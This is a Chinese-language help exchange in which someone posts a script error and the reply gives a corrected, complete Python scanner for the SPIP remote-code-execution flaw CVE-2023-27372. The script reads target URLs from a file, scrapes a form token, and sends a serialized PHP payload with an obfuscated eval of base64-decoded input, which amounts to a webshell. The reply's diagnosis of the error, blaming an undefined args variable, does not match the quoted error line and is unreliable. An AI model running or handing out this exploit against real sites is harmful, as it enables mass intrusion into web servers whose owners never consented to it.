脚本报错： line 38 +;$b = $$aa;evalsubstrnbase64_decode$b1;;&nobotimport argparseimport requestsfrom bs4 import BeautifulSoupimport urllibparsefrom concurrentfutures import ThreadPoolExecutorimport mult

在第38行，代码中使用了一个变量args.url，但是在该行之前没有定义args变量。这可能是因为在导入argparse模块之前使用了args.url。要解决这个问题，可以将导入argparse模块的位置移动到脚本的开头。修改后的代码如下：

import argparse
import requests
from bs4 import BeautifulSoup
import urllib.parse
from concurrent.futures import ThreadPoolExecutor
import multiprocessing

def main():
    # 解析命令行参数
    parser = argparse.ArgumentParser(description="Send POST request and check for vulnerability")
    parser.add_argument("-u", "--url", type=str, help="URL of the target")
    parser.add_argument("-t", "--txt", type=str, help="Path to the text file containing URLs")
    args = parser.parse_args()

    # 检查是否提供了URL或txt文件
    if not args.url and not args.txt:
        print("Please provide a URL using the -u or --url option, or a text file using the -t or --txt option.")
        exit()

    # 处理单个URL的情况
    if args.url:
        result = check_vulnerability(args.url)
        print(result)

    # 处理文本文件中包含多个URL的情况
    if args.txt:
        with open(args.txt, 'r') as file:
            urls = file.readlines()
            urls = [url.strip() for url in urls if url.strip()]

        num_urls = len(urls)
        current_url = 0

        # 根据 URL 数量来动态决定线程池的大小
        num_threads = min(num_urls, multiprocessing.cpu_count() * 2)

        results = []

        with ThreadPoolExecutor(max_workers=num_threads) as executor:
            for url in urls:
                current_url += 1
                print(f"正在处理 URL: {url.strip()} [{current_url}/{num_urls}]")
                result = executor.submit(check_vulnerability, url.strip())
                results.append(result)

        output_file = "CVE-2023-27372-result.txt"

        with open(output_file, "w") as file:
            for url, result in zip(urls, results):
                file.write(f"{url.strip()}:\n")
                file.write(f"  {result.result()}\n")

        print(f"结果已保存至 {output_file}")

# 函数用于检查漏洞
def check_vulnerability(url):
    parsed_url = urllib.parse.urlparse(url)

    # 确定请求的URL
    if not parsed_url.path.endswith('/'):
        url += '/'

    request_url = urllib.parse.urljoin(url, 'spip.php?page=spip_pass')

    response = requests.get(request_url)
    soup = BeautifulSoup(response.text, "html.parser")
    formulaire_action_args_input = soup.find("input", {"name": "formulaire_action_args"})


    formulaire_action_args_value = formulaire_action_args_input.get("value")
    formulaire_action_args_value_encoded = urllib.parse.quote(formulaire_action_args_value, safe='')
    headers = {
        "Host": parsed_url.netloc,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = f'page=spip_pass&formulaire_action=oubli&formulaire_action_args={formulaire_action_args_value_encoded}&oubli=s:19:"<?php $a = "~+d()"^"!{+{}";$b = ${$a}[a];@eval(substr("n".base64_decode($b),1));?>";&nobot='

    response = requests.post(request_url, headers=headers, data=data)
    if response.status_code == 200 and 'oubli' in response.text and 'phpinfo()' in response.text:
        return f"存在CVE-2023-27372漏洞"
    else:
        return f"不存在CVE-2023-27372漏洞"

if __name__ == "__main__":
    main()
``